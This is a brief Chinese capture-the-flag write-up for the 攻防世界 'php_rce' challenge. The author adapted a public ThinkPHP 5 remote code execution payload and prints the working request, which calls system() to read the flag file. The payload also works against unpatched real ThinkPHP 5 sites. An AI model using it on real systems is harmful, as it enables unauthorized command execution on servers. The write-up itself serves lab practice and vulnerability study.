[wp] 攻防世界 php_rce

根据提示,上网搜了下thinkphp5 rce漏洞,改一改payload就出了emmm

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27

下次写个文章分析一下这个漏洞好了

---

补上链接ThinkPHP5.x rec 漏洞分析与复现